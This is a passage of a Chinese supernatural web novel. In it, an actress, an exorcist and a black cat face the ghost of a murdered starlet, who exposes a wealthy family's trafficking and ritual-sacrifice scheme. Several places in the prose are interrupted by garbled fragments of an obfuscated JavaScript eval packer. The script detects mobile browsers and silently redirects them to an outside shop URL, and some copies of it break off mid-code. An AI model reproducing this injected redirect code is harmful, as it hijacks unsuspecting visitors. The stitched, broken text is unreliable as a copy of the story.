预想中摔得鼻青脸肿的画面并未发生,谢阮趔趄两步站稳,转过身发现自己已经从那面墙后穿了出来,此时正站在通往月季小院的走廊一端。 原本竖在走廊尽头的大插屏消失不见,取而代之的,是那副长得像地图的水墨画。 任意门?谢阮捏住黑猫的后脖颈把它提溜到眼前,“有没有一种可能是你先演示一遍出去的方法,然后我再依葫芦画瓢?” 月牙白的旗袍上烙着一团灰扑扑的梅花印,谢阮反手揉揉后背,幼稚地冲小黑猫龇了龇牙。 黑猫不甘示弱,卷起尾巴在她脸侧挠了挠,趁着谢阮打喷嚏的空当从她手底下挣脱,优雅地落了地。 谢阮:“......” “喵。”黑猫用尾巴拍了一下她的小腿,示意谢阮跟上。 走廊两侧,壁灯幽幽向外渗出惨白的光。 沉闷与压抑卷土重来,谢阮有很长一段时间都听不见自己的脚步。 一人一猫走到管家下午藏身的拐角,凝滞的空气陡然一松,方季遂嘹亮的哭嚎穿透几道房门,直直传入谢阮耳中。 “啊啊啊啊啊!别追我别追我!”方季遂绕着院子里的那棵大树狂奔,“师兄!师兄救我!周哥!周哥你人呐——” 黑猫脚下一滞,立刻循着声音的来向冲出去。 谢阮反应不及,险些跟丢了猫。 月季小院中,管家正拖着那柄板斧,笨重而执着地追杀方季遂,一人一鬼围绕院中的大树,上演着民国鬼宅版秦王绕柱。 管家那张疑似缝合过的脸凹凸不平,森然夜色下平添几分恐怖。 但撇开你追我赶的管家和方季遂,庭院里的月季花丛依旧岁月静好。 所有的打斗与纷争仿佛都有意避开那丛月季,金红明艳的花和人类世界的生死完全割裂,自由盛开在鬼怪徘徊之地。 何宥文断成两截的身体被管家从宴会厅外一路拖行至这间小院,整齐地拼好丢到花丛边,这会儿紧贴着大树延展向花丛的根系。 他好像管家精心挑选的祭品,静待夜半的某一时刻,虔诚地献给月亮,以换取月季花丛掩藏的秘密。 方季遂记不得自己是第几次绕着树跑满一圈了。 长时间的机械运动导致感知力变得麻木,有几个瞬间,他总觉得管家凭空消失了,粗粝如同砂纸的嗬嗬声也随之不见。 正当方季遂准备停下脚步,回头看一眼背后的情况时,他冷不丁听见了谢阮的声音,“方季遂!转身朝反方向跑!” 小方于是条件反射地脚下一转,与此同时,余光里闪过一道凛冽寒光。 树影婆娑,方季遂转身的刹那,树叶沙沙的动静被一阵哐啷声盖了过去,尖锐的银器扎进腐化的躯体,难以言喻的腥臭在他身后爆开。 好臭,谢阮捏着鼻子,面露嫌弃。 她找了一圈,最终用沾了不明液体的那只手摸了摸黑猫的身体。 黑猫:“喵?”做乜? 谢阮装作无事发生,扬声道:“方季遂,别跑了。” 小方原地急刹的时候还有一点茫然。 “没人追你,省省力气。”谢阮找了块平整的地方站着,她没穿鞋,一路跑过来,脚底磨得不成样子。 方季遂这才发现背后空了。 树的另一侧,管家被放倒在花丛边,后背靠近心脏的地方扎着一支发簪,几乎整支没入,只余尾部的镂花卡在外面。 方季遂长舒一口气,紧接着指尖一痛。 黑猫跳起来咬破了他的拇指,然后伸爪沾着他流出来的血,在管家背后捣鼓出弯弯绕绕的一团线条。 谢阮探头问:“那是什么东西?” “画符。”方季遂耷拉着脑袋蹲到旁边,揣着手可怜巴巴,“虽然但是,它为什么不咬你啊?” 谢阮的血肯定比他好用,画出来的符效果也更好。 不远处,埋头画符的黑猫耳尖一动,侧头扫了一眼方季遂。 苍绿色的竖瞳径直落入方季遂的脑海深处,他不知想起曾经被谁支配的恐惧,打了个寒颤,自觉把豁了个小口的手伸出去,“用我的用我的,我皮糙肉厚,流点血没关系。” 黑猫于是又把头低下了。 谢阮看出一点不同寻常,问:“猫会画符,你怎么不会?你刚才差点死了。” 方季遂:“!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501910|154922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>按照谢阮所说,他和管家来回绕着大树跑了不下十圈后,管家出走的智商终于上线,那老东西调转方向,举起斧子就等着方季遂撞上来。 谢阮:“如果你没有及时转向,现在你就是第二个何宥文。” 她朝树根处努努嘴,“喏,他是横着劈开的,你是竖着,多般配。” “这般配给你你要不要呜呜。”方季遂快要不流血的拇指又被猫咬了一口,委屈得他一屁股坐在了管家的头盖骨上。 没天理了,一人一猫都欺负他,奶妈不要面子的吗! 跑脱的力气渐渐恢复,方季遂一下没收住,结结实实放了个屁。 震得脸贴着地的管家诈尸般弹了弹。 方季遂:“......”千万别诈尸啊。 画完最后一笔,黑猫重重踩过管家的后颈,轻巧地跳向地面,随后用尾巴打了两下方季遂的胳膊,示意他挪个位置。 黑猫:“喵喵。”你去解释。 方季遂:“。”又是他! 但碍于黑猫的淫威,方季遂还是捂着手扯了扯谢阮的衣袖,两人立在一旁,就着稀薄的光线观察起小黑猫的杰作。 “日月相悖,阴阳颠倒,符的走势需要和亡魂,还有他们所在的魂场保持一致。”方季遂说,“没记错的话,小黑画的是驱煞符。” 黑猫闻声踹了他一脚。 方季遂立马站得笔直,“这肯定是驱煞符。” 谢阮:“?” 方季遂:“不经过屋主人同意,管家无法进入内室。从他杀何二的手法来看,管家应该受到了赵舒昕的指使,也就是说,他本人不具备单独作案的能力。” 所以他是魂场主创造出来的一种负面磁场,是为虎作伥的伥,只需要驱尽煞气便能送入轮回。 但,方季遂眯眼仔细看了看,“奇怪,管家没有命魂。” 煞气驱尽,方能往生,只针对三魂俱全的魂体。而没有命魂的鬼入不了轮回,难怪黑猫没有多添一笔往生咒。 原来如此,谢阮若有所思,又问:“你抖什么?” 方季遂:“我怕猫。” “师父身边养了一只黑猫,从前每逢月中检查课业,那只猫就跟着他老人家一起盯我。”他抿抿嘴,觑着谢阮的脸色,小声说,“实不相瞒,我感觉它长得有点像我师父养的那只猫。” 这话半真半假,全看谢阮自己怎么想,方季遂自认为已经暗示过她了,免得将来被翻旧账。 谢阮听出一点言外之意,“你的意思是,小黑是你师父派来,捞咱俩离开魂场的?” 事实如此,但方季遂不敢点头。 谢阮了然,意味不明地哼了一声,“你师父早就知道这片地方透着古怪?” 方季遂摸摸鼻子,抬头望天。 谢阮:“......” 怪不得,档期突然空下来后,她原本计划找个地方度假,压根没想起客串的事。而且经纪人一直不希望她接这部戏,是方季遂拿着陈仪的本子找上自己,把她怂恿到钦江。 谢阮捏捏眉心,“原来是拐我钓鱼来了。” “哪儿能呢!”方季遂立马撇清关系,“我这不是想替你还了陈导的人情,正好顺路完成师父布置给我的任务嘛。” 谢阮不信,问:“接下来怎么办?” 总不能真的杵在这里等救兵吧?管家的确暂时被封印住了,但何宅内还有一个神出鬼没的魂场主。 按照方季遂的理论,只有破解魂场,他们才能回到现实世界,而破解魂场,必须找到执念最深之人,也就是魂场的主人。 方季遂仰头看了一眼月亮,神神在在吐出一个字,“等。” “喵~”没错,得等魂场主出现。 黑猫点点头表示赞同,它步伐轻盈,越过挡在身前的方季遂,寸步不离地守在了谢阮旁边。 经过方季遂时,又在他另一边裤脚蹬了个对称的图案。 方季遂心疼地吹了两下不再流血的手指。 如果不是赵家村宗祠选址有异,魂场无法容纳过多生魂,他也没必要扯这么大个谎,替另一个混进魂场的生魂遮掩。 最可恶的是,混进来的家伙目前还不打算暴露身份。 这家离了他得散,方季遂想。 一时间,两人一猫,心思各异。 半晌,子时终于过去,上弦月拨开重叠的云障显露出轮廓,倾洒而下的月辉衔接上窗前淡银色的光点。 谢阮循着光线看向半敞的窗户。 死去的蝉正在迅速腐烂,覆盖在蝉周围的树叶随之枯死。 只有一株迎风盛放的水晶兰,像最温柔最锋利的尖刀,扎根在草灰的气味间。 风里掀起一声哀怜的叹息。 赵舒昕不知什么时候出现在几步之外的走廊边,“那些月季好看么?” 8. 资助对象 谢阮十七岁参演陈仪的电影,于当年斩获最佳新人奖,自此名声大噪。 在片中,她饰演富家千金陆浠,一样的名门出身,一样磕磕绊绊地长大,谢阮演陆浠完全是本色出演。 而片尾,陆浠于玫瑰丛后的匆匆回眸,更是惊艳了无数观众。 明眸皓齿,骨相优越,谢阮本人亦如角色本身。唯一一点不同,大概是脱离角色的谢阮会比陆浠多出几分内敛的冷感,外界因此热衷用白玫瑰盛赞她的美。 谢阮应该是清丽多姿的白雪山,是神坛上永远不落凡尘的神女。 高岭之花从来不缺追求者,妄图摘取玫瑰的人总是前赴后继。 但谢家是横亘在他们面前的高山,有人望而生畏,于是将目光转向了可能的替代品。 赵舒昕长得有八分像谢阮,可从来没有人用玫瑰赞美过赵舒昕。 比起精心养育在温室里的稀有玫瑰,赵舒昕仿佛路边随处可见的红色月季,同属一科,却徒有其名。 这两年断断续续的微调让她凭借“小谢阮”的名头跻身流量圈子,然而褪去那些精心设计的妆容,赵舒昕最像谢阮的地方,只有那双眼睛。 娱记八卦乐此不疲,经常将两人放在一起比较。 谢阮一度以为,她和赵舒昕应该是水火不容的关系。 华琅颁奖礼之前,谢阮几乎没怎么见过赵舒昕。 直到现在她才隐约想起来,那天不是两人第一次见面。 谢阮第一次见到赵舒昕是在某次电影节后台,对方匆匆结束了红毯,一路小跑着追上自己。 “谢老师!谢老师!” 谢阮脚步一顿,循声看向这个小她四岁的新人,女生提着裙摆仰面看她,“我喜欢你很久了!可不可以给我签个名呀!” 那时,赵舒昕出道不久,漂亮的眼睛尚且灵动有神。 谢阮虽然迟钝,但架不住粉丝实在热情。 她并未敷衍赵舒昕,可惜手边没有纸笔,翻了一圈也只找到一支口红。 谢阮想了想,拉过小粉丝的手,低头在她手腕内侧画了一朵简笔玫瑰,“下次见面再来找我兑签名。” 赵舒昕开心地点点头。 那是很久以前的事,久到谢阮都忘了这茬,自然也记不清有没有兑现签名。 后来,赵舒昕的经纪团队越发膈应人,谢阮很难无动于衷。她甚至怀疑过台下的接近是否别有用心,最初的一点好感也随之烟消云散。 没想到魂场再遇,原是故人来相见。 - “那些月季好看么?”赵舒昕自言自语似的轻叹了一口气,慢慢走进小院。 魂场主抬脚的刹那,方季遂和黑猫不约而同地挡在了谢阮身前,一人一猫戒备地盯着来人。 赵舒昕的目标却不是谢阮。 她拐了个弯停在月季花丛前,视线越过方季遂,直直落在了谢阮的脸上,“模仿得再像,我也不可能成为你。” 谢阮太独特了,难怪那些人不敢接近她,又舍不得忘掉她。 赵舒昕抬手摸了摸自己的脸,问:“如果你是我,你会怎么选?” 是自甘下贱做一个替代品,还是宁折不弯吹落北风中? 赵舒昕说完静静望着谢阮,似乎在等她回答。 夜半穿堂而过的风,凄厉宛如人在濒死时的哀鸣。 良久,谢阮拉开横在面前的一人一猫,在方季遂担忧的目光中走下台阶,“如果我是你,我未必比你做得更好。” “你只是没得选。” “喵~”黑猫闻言舔了舔爪子。 方季遂没听懂谢阮的话,但他发现萦绕在赵舒昕身侧的阴气淡下去几分。 不远处,谢阮大着胆子停在距离赵舒昕不足一米的地方,问:“第一次见面的时候,我给你画过一朵小花,你还记得吗?” 赵舒昕嗯了一声,摩挲着左腕内侧,喃喃:“我知道,但是我找不到你。” 谢阮一愣。 她以为赵舒昕是因为工作繁忙或者避嫌,“找不到”是什么意思? “我也是十七岁出道。”赵舒昕抬起头,眼底浮现出一丝怀念,“经纪人说我长得像你,所以我连出道,都是沾了你的光。” 赵舒昕的经纪约挂靠在佳世传媒,而且是佳世主动签的她。 因为何宥文,更因为她和谢阮相似的长相。 赵舒昕出生在钦江县的一个贫困村,母亲早早病逝,是父亲费心将她养大。 她像山野间生命力旺盛的月季花,不必精细养护,只要有雨水和阳光就能野蛮生长。 然而临近高考,父亲却累倒了。 那日,还差几个月才满十八的赵舒昕捏着确诊通知书坐在县城的小医院前,茫然无措。 “很快,杨钱找到了我。”赵舒昕用手背碰了碰自己的下颌,那里被手术削尖了。 杨钱是她的经纪人,也是业内有名的皮条客。 谢阮眯了眯眼,直觉后面发生的事情非常糟糕。 赵舒昕扯着嘴角笑起来,“你知道赵家村曾是何家的扶贫对象么?” 其实也谈不上扶贫,何家不过是利用慈善的名义洗钱罢了。 他们选择了赵家村作为目标,每年都会资助一批学生。 何宥文的大嫂也曾是“资助”对象,赵舒昕见过她恣意洒脱的少女时期,自然难以将那个木讷老实的女人与印象中的玩伴联系起来。 “她代表何家到赵家村来主持某项工程。”赵舒昕说,“何家要在赵家沟前修一条路。” 那条路是某种仪式的一部分,但赵舒昕那会儿涉世未深,仍然把何家当做大善人。 何宥文的大嫂只负责剪彩,后面的工作则被何老交给了年轻的何宥文。 何二进村的那天,正好遇上赵舒昕接她父亲回家。 “我从未见过他那样的人,风度翩翩,体面又礼貌。”赵舒昕陷入回忆,“阿文的车子蹚过泥水,溅了我一身泥点子,他立马停车跟我说对不起,还把我和父亲送回了家。” 涉世未深的小姑娘怎么抵挡得住久经欢场的风流浪子?短短半月,赵舒昕爱上了何宥文。 “更重要的是,他承诺会帮我拿到一个资助名额。” 赵舒昕需要很多钱,有了何家的资助,父亲的病和她自己的学费都不是问题。 但资助名额还没着落,何宥文就先回了黎津。 深山寂寞凄苦,何二留不住,接替他的人是杨钱。 两人交接时,赵舒昕也在。 她乖巧安静地等在门外,打算和何宥文告别。 “大概就这些事儿,这车你先开着。”何宥文交代完,把车钥匙扔给杨钱。 杨钱接过钥匙,随口说:“真像啊。” 何宥文身形一滞,“什么像什么?” “喏,那个小姑娘。”姓杨的抬手一指远处倚门而立的赵舒昕,“她眼睛像谢三,别说你没看出来。” 何宥文当然看出来了,他被人戳破了秘密,匆忙逃回黎津。 “阿文走后不久,我父亲的病情又严重了,医生说手术费起码要这个数。”赵舒昕抬起她碰过谢阮的那只手,裸露的指骨比划两下,“他离开前让我有事找杨钱,但其实是杨钱先找上的我。” 杨钱不知从什么地方打听到她父亲病危的消息,主动找上门,顺道带来了佳世的一纸合约。 拉皮条的男人自信能把她捧成第二个谢阮,再不济还能留在手上,供给黎津某些对谢阮爱而不得的少爷们赏玩。 姓杨的怂恿她,“签了吧,签完你就有钱了,你可以把这当成是资助的一部分。” 他可没骗赵舒昕,何家的“资助”本就由他负责,那些大山里出来的男孩女孩后来去了什么地方,杨钱一清二楚。 赵舒昕别无他选,最后还是把自己卖了个不错的价钱。 她被迫一头扎进佳世的浑水里,再没有出来过。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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何宥文在佳世再见到她时,并没有表现出久别重逢的喜悦,赵舒昕从他脸上看不出半分期待,但为了钱和资源,她依然做了何宥文见不得光的情人。 外界鲜少有人知道他们的关系,何二不敢走漏风声,唯恐黎津圈子里的狐朋狗友知道自己在家养了个替代品,被人耻笑。 时间一长,赵舒昕渐渐接受了对方根本不爱她的事实,但是没关系,何宥文会给她很多钱。 因为杨钱给她的经纪约分成比例很低,很大一部分都是以留置股权的形式挂靠在公司里,所以即使赵舒昕灰头土脸摸着边挤进了流量的圈子,她还是很缺钱。 赵舒昕时常觉得自己从内到外都烂透了,浑身上下每一个毛孔都浸润在铜臭味中,发烂发臭。 这几年,她无数次撑不下去想要和杨钱撕破脸,最后又因为医院里的父亲,和谢阮画给她的那朵花,咬牙忍了下来。 “我想,如果有机会再见你一面,我就把佳世做过的烂事都告诉你,再求你帮帮我,救我从那里出来。”赵舒昕单手拎起脚边的何宥文,把他扔到月季花丛中央。 谢阮看见她背过身去缓缓蹲下,沙哑的声音隐隐有些哽咽,“可是我自己都救不了自己,凭什么要你来救我呢?” 那些不切实际的攀比和拉踩,别有用心的碰瓷与诋毁,全都不是她的本意。 赵舒昕弯腰捻了捻月季微垂的花瓣,而后抬起手,指尖朝着何宥文轻轻一点。 火焰如同盛大的烟花,在寂夜中绽开。 金红的火光凌空浮在月季花丛上,并不往外蔓延。 几秒后,死去的何宥文痛苦挣扎起来,空气中飘出一丝焦臭。 “那是无愿火。”方季遂低声道,“倘若一个人生前造过杀孽,碰到无愿火便会散发出这样的焦味,你看。” 谢阮紧紧盯着前方跃动的火焰。 漫开的火光犹如一块巨幅的投影画布,公开了何宥文所犯下的罪行。 9. 无愿火 从决定接收佳世和何家“资助”的那一刻起,赵舒昕就失去了做自己的资格。 她在泥潭中越陷越深。 直到流言蜚语将她淹没,赵舒昕才发现这片浑水里,还有其他人和她一起下坠。 而泥沼深处沉积着无数尸骸,他们都曾是何家的“资助”对象。 也许不止有何家。 赵舒昕无意间窥见了藏在罅隙中的秘密,那时她刚刚得知自己怀孕的消息。 因为这个孩子和卧病在床的父亲,她没有声张。 凑巧的是,何宥文也从没把赵舒昕放在眼里。因此他根本不知道,一个本该是局外人的“资助”对象,曾经无比接近秘密之海的中心。 杨钱倒是语焉不详地点了她几句,话里话外暗示赵舒昕谨言慎行。 “该说的不该说的,你自己有数,多想想你爸。”有个病重烧钱的爹,拿捏赵舒昕简直轻而易举。 但杨钱不会想到,牵制木偶的线断了。 赵舒昕准备公布怀孕消息的那天,突然收到了父亲离世的消息。 形销骨立的中年男人似乎察觉到女儿的诸多无奈,在护工轮班间隙摘下氧气面罩,死在了温暖平静的傍晚。 赵舒昕赶到医院时,护工已经替他整理好了遗容。 殡仪馆的车很快开过来,又很快离开,只有一卷车尾气徘徊在原地。 病房空空如也,赵舒昕沉默地坐着,再次陷入进退两难。 仿佛一夜之间回到了十七岁。 可失去了父亲,她还有一个血脉相连的孩子。 如果没有了孩子...... “她怀孕了,你想想办法。”办公室大门半遮半掩,赵舒昕听见何宥文说,“我不会娶她,绝对不能有私生子,否则老头子那边又要偏心大哥了。” “这还不简单?你忘了那些资助对象了?”何宥文对面,杨钱嬉皮笑脸,语气轻佻又下流,“找个人做掉不就好了,实在不行你就自己做掉。” 他加重了“做”字的咬字,何宥文先是一愣,随后摆摆手,嫌恶道:“我可没有那种癖好。” 杨钱遗憾,“没事,我手头新接了一个本子,拍摄地偏僻得很,到时候塞几个人进后勤,那个孩子不会活着回黎津。” 何宥文没再阻拦。 第二天,赵舒昕被杨钱叫到了公司。 “看看,陈仪的电影。”杨钱把剧本扔给她,“机会难得,好好演,要不是谢三没有档期,怎么轮得上你?” 又是谢阮,赵舒昕取走剧本,眼底的怨恨几乎要漫溢出来。 可如果不是这张肖似谢阮的脸,她可能终其一生都无法走出赵家村。 赵舒昕最终维持着那副低眉顺眼的姿态,接下了这份明知是陷阱的合同。 她孤身回到家中,在窗前枯坐至深夜。 窗外车水马龙,万家灯火亮如星河,却没有一缕光能照进深渊。 赵舒昕抚过尚未显怀的肚子,打开落了灰的笔记本电脑,向某个账号发送了一封邮件。 半月后,《如昼》剧组搬进了赵家村。 赵舒昕不是科班出身,在剧组的拍摄其实并不顺利,被陈仪指着鼻子数落已经是家常便饭,好在她本人不怎么在意。 “小赵啊,别看手机了,下场是你的戏。”副导演知道她有背景,讨好地笑了笑,“陈导他人不会坏,就是脾气臭,你多包容包容。” 赵舒昕点点头。 总在拍摄期间玩手机是她不对,陈仪生气无可厚非。 不过赵舒昕没看别的,亮起的手机屏幕上是一个计时软件。 她在等一个普通的周五。 倒计时结束的刹那,赵舒昕仿佛活了过来,白天走戏时陈仪甚至夸了她两句。 只有赵舒昕自己清楚,周五过完,她就没有了活路。 是夜,赵舒昕悄悄离开剧组,迈进久未涉足的宗祠。 父亲的牌位是新放上去的,棱角锃亮,紧挨着母亲的那块。 赵舒昕缓缓跪下,恭恭敬敬磕了个头。 过了一会儿,她从随身携带的布包中掏出几张看起来像是拍摄道具的黄纸,一一在地上摆开,又取下挽发的银簪,划开了手心。 何家在赵家沟旁修的那条路不该存在,在她之后,也绝不能产生新的“资助”对象了。 赵舒昕不知道这样做能不能奏效,她扯过蒲团靠在冰冷的木台前,心神俱疲。 许是回到老家的缘故,赵舒昕的戒心降低了很多。 她背对宗祠敞开的大门倚在木台前,全然没有察觉,一道黑影正无声无息地逼近。 赵舒昕反应过来时,已经被何宥文用力掐住了脖子。 背叛何家、背叛佳世的“资助”对象活不了,何宥文甚至等不及派专人来处理赵舒昕,他怕自己做过的事被何老知晓,怕在家中长辈前丢了面子,矮大哥一头。 他必须亲自教训不听话的情人。 “放、放开我!”赵舒昕本能扭动着身体反抗,长长的指甲在何宥文的手背上留下深深的血痕,“救——” 何宥文连忙捂住她的口鼻,掐在她脖颈上的手迅速收紧。 赵舒昕感觉空气被一点一点挤压出胸腔,喉咙泛起剧烈的疼痛。 片刻后,她眼前终于一黑,昏死了过去。 烛火轻曳,照出何宥文布满汗珠的脸。 他探手在赵舒昕鼻子下碰了碰,没有呼吸了。 何宥文颓然地跌坐在地上。 怎么会这样?他不是真的要杀赵舒昕,何家有专门的清道夫,这活不该他干。 何宥文只想教训她一顿,谁让赵舒昕胆大包天,竟然打算爆料给娱记,背后捅佳世一刀?可惜她运气不好,算漏了那个娱记是杨钱的老熟人。 何宥文目光森然,扫了一眼脚边了无生气的女人,视线缓缓落在不远处白幡环绕的灵棚上。 赵家村几天前有老人去世,按照村子里的传统,要在祠堂边停灵满七日。木棺尚未封口,何宥文瞬间想出了一个绝妙的计划。 他抱起赵舒昕直奔祠堂后的矮屋。 赵父出院后,父女两人便搬到了这间小院,离村口近,方便从大路去县医院。 门外的月季无人照料,已经悉数枯萎,何宥文闯入院中,找到了草垛边赵父从前砍柴用的板斧,他撕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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时间缓慢流逝,夜色渐深,月亮终于运行到天空的正位,照亮了整座小院。 无愿火的光芒渐渐微弱,何宥文被烧成七零八落的骨头架子,要死不活地横在花丛中。 散落的骨缝间隙,淡银色的光点越发强烈,一朵接一朵的水晶兰从尸骸中诞生,缓缓绽放。 饶是方季遂也从未见过这种场面,他掩住口鼻,轻声说:“何宥文魂飞魄散了。” 谢阮啊了一声,恍然回神。 她怔了一会儿,抬起手碰了碰自己的脸颊,湿漉漉的,是未干的眼泪。 “谢老师,你是可怜我吗?”赵舒昕撇下何宥文,转身朝她走去。 无愿火的回溯结束后,她好像终于意识到自己已经是个死人,于是不再费心遮掩一身死相,任由皮肉从躯壳上脱落,在地上曳出一道带血的辙印。 “他们从不可怜我,因为我不过是个小玩意儿,是死是活都无所谓。”赵舒昕越走越快,眼底泄出几分疯狂和快意,“你和他们不一样的,谢阮,你从来没有看轻过我。” 极致的爱与恨造就了魂场,而唯有被魂场主挂念的生魂,才有资格第一个进入魂场。 和她一起下地狱吧。 赵舒昕周身阴气暴涨,小院内温度骤降。 方季遂来不及掐诀,只能眼睁睁看着对方拖着一副残破的骷髅骨架,伸出骨爪袭向谢阮面门。 10. 秘辛 方季遂赤手空拳站在谢阮面前,急忙结印想要挡住席卷而来的阴气,不料被失去理智的赵舒昕一掌击飞,整个人踉跄着朝后栽倒,直挺挺地砸在了管家背上。 被封印的管家顺势弹动两下,本就濒临断裂的肋骨咔咔碎了两根。 方季遂:“......”冤有头债有主,魂场主全责! 他骂骂咧咧地爬起来,还没站稳,眼前便疾风骤雨般掠过一片黑雾。 不好!方季遂拔腿奔向谢阮,但有人比他更快。 余光里,一团黑影窜入雾中,黑猫一跃而起,张口咬住了赵舒昕刻有刀痕的脊骨,紧接着又一爪掏向她的眼眶。 谢阮先前捅她的那一簪正中眉骨,猫爪尖锐,精准代替了簪子,赵舒昕下意识捂住额头,黑雾里逸散出一声痛苦的嘶鸣。 “谢阮......”她不甘地低喃。 四散的黑雾再度凝实,萦绕在外圈的雾气化作墨色的丝线,如同张牙舞爪的触手蠕动着探向谢阮。 夜半月光正盛,魂场主的力量远胜生魂。 黑猫很快被甩了出来。 “喵呜——”兽形果然还是不如人身方便,它瞥了一眼掉毛的尾巴,目光缓缓落在谢阮戴着翡翠镯的手腕上。 而黑雾已然逼近了谢阮。 宴会厅内有黑猫救场,她才勉强能够活着离开,现在连小黑都打不过,谢阮沉默地站在原地,不知道还能做点什么来自救。 有几个瞬间她甚至觉得死在魂场也挺好的。 “嗷呜!”身侧传来一声不像猫的低吼,不知是不是谢阮的错觉,小黑这会儿看起来其实不怎么像猫了。 纯黑色的猫毛在月光下泛起银灰色的流光,脖颈边隐约浮现出一圈花纹,那条在打斗中掉了很多毛的尾巴好像又恢复了,只是褪色了似的,变成了明显的白色。 怔忪间,谢阮忽然感到一阵刺痛。 黑猫划破了她的手腕,温热的血流向翡翠镯,然后被翡翠全部吸收。 镯子开始发烫,谢阮背心一痛,意识有些飘忽。 她似乎脱离了自己的身体,但生魂在魂场里,本来也没有真正的身体。 身后渐渐浮现出若隐若现的淡青色,与此同时,一抹色泽相近的微光从黑猫身上窜出,追逐着谢阮的气息,融进了那抹青色之中。 两束光交汇着覆在了翡翠镯表面,内壁镌刻的咒术瞬间活了过来,金色灵力漫向指尖,寂夜下如同燃起的无愿火。 “谢老师,走吧,和我一起走吧。”赵舒昕阴恻恻的低语在谢阮耳边响起,“我们这么像,合该死在一起。” 黑雾化作囚笼包裹住两人,黑猫被排斥在屏障之外,锋如刀刃的罡风把它吹到了方季遂旁边。 方季遂接住猫,迎着猎猎长风根本睁不开眼。 风暴中心却一片安宁。 谢阮定定站着,不反抗,也不像妥协,自手镯里倾洒而出的灵力似乎接管了她的身体。 赵舒昕悄无声息地靠近,骨爪直奔谢阮纤细的脖颈而去。 然而下一秒,谢阮的身影忽然从视线中消失了。 赵舒昕一愣,心底冷不丁升起一股不祥的预感,黑雾受到影响,争先恐后地朝四面八方逃窜。 哗—— 斜刺里伸出一只手大力攥住了魂场主的腕骨,谢阮被不知名的力量操控着摘下发烫的翡翠镯,迅速套在了赵舒昕手上。 刹那间,月季小院里腾起一束耀眼的金光,穿透一片漆黑直冲云霄。 亡魂枯骨立刻瘫倒在地,痛苦地蜷缩起身体。 浓雾散去,方季遂不知道发生了什么,只看见一具白骨倒在谢阮脚下,而谢阮一脸茫然,低下头怔怔地看向双手。 - 咚——咚咚咚咚—— 五更的梆子响了。 赵舒昕被翡翠镯里渗出的咒术灼了魂,躺在月季花丛前,奄奄一息。 回魂的猫拍了一爪方季遂,示意他把谢阮拉回来。 “结束了?”谢阮忽然问。 她灰头土脸地坐在台阶前,抱着膝盖打量着不远处的魂场主,对于刚才自己是如何制服赵舒昕的,竟然什么都想不起来了。 方季遂觑了一眼趴在她腿上的黑猫,倒是大致猜出一点内情。 不过谢阮没问,他就不主动说了,否则解释越多反而有介入他人因果的嫌疑。 方季遂抿抿嘴,说:“等天亮,天亮就能出去了。” “喵~”黑猫歪头蹭了蹭谢阮的腿,像是赞同。 以零点为第一道分界线,是为阴阳倒转,所以整座宅子的构造才会颠倒。 宴会厅的长廊变了形状,假门消失,真门出现,画会将生魂引去正确的地方。 分界线之后,无中生有,有变为无。 昼夜则是第二道分界线。 孤月西沉,朝日初生,夜色掩映的恩怨爱恨都将在第一缕阳光跃出地平线后缓缓消散。 届时亡魂了去执念,三魂七魄重新聚合去往轮回之地,经过命簿审判决定归途,误入魂场的生魂则寻回来路。 真正的“恩怨消弭,前尘尽忘”。 “现实世界里,何宥文会死吗?”谢阮忽然问,“他都魂飞魄散了,活不成了吧。” 方季遂点点头,“何宥文的生魂既然能被拉进魂场,就说明他本人当时也在祠堂附近,不过这两天没听说有资方探班诶。” “他是晚上偷偷来的。”赵舒昕不知什么时候恢复了神智,轻咳两声说,“在你进组前一天,何宥文向陈仪引荐了一个风水先生。” 风水先生建议剧组在赵家村宗祠附近布景,如此便能一切顺利。殊不知那只是因为剧组活人多,压得住祠堂里的阴气,更何况压不住才更好。 以百来人的性命做引子,献祭给何家藏在赵家村里的东西,再用怨气饲养阴灵,以换取何家长盛不衰。 而原本代替剧组充作养料的,正是数十年来接受何家“资助”的赵家村人。 赵家村外没有无限可能,何家早已铺设好一条必死的路,将这些“资助”对象送入了见不得光的地下产业。 长得好的就送去合作对象的床上。 长得不太好但身体健康的就拆了这副健康的身体,倒卖健康的器官。 长得不太好且身体羸弱的,胜在有一个聪明能算的头脑,可以经手一些脏活累活,成为何家豢养的鬣狗、伥鬼。 “资助”对象从来不是活生生的人,而是待价而沽的商品。 生前饱受折磨,死了自然怨气滔天。 清道夫会将他们送回故地,埋进这偏僻而荒芜的山野,埋进风水先生精心计算过的地点。 这才是赵舒昕真正撞破的秘密。 翡翠镯的金光散了一些,萦绕在她周围的戾气缓缓消散,皮肉于是重新生长出来,覆盖住那具伶仃的骷髅骨架。 赵舒昕变回了她生前的模样。 两颊圆润,有点婴儿肥,是还没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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直到机缘巧合,因为一缕残存的气息跟上何宥文回到钦江县赵家村,才最终附在了那柄板斧上。只要是陌生人误闯小院,就会受到攻击。 “谢老师,我没想害你。”赵舒昕叹了一口气。 只是受到阵法影响,理智全无,偶然闻到熟悉的气味便固执地把人拖了进来。 再多的她就不能说了。 弥留之际的嘱托总是太过沉重,赵舒昕不需要谢阮的承诺。 不出意外的话,另一个倒计时应该快结束了,等谢阮收到那条消息,帮与不帮都是她自己的选择。 无论什么结果,赵舒昕都坦然接受。 